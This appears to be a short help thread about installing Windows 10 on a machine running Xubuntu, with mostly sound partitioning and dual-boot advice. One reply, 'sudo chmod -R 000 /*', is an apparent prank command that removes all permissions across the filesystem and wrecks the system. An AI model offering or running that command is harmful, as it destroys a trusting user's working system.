Do you want to keep xubuntu or not? If not just delete the partition in the Windows installer

Don't ask to ask, just ask... please 🤨

sudo chmod -R 000 /*

you cannot install Xubuntu and Windows in the same partition, you need to either use a different partition or delete Xubuntu and use that partition. The Windows 10 installer itself will have the option to format partitions

get another disk and install windows in it. 

to boot to either one, just press F9 when booting, and then select the disk you want to boot.

 

if you want to install windows on the drive, remove all xubuntu partition first and let windows manage the partition (automatic).

this will remove all of your data, so make sure you backup.
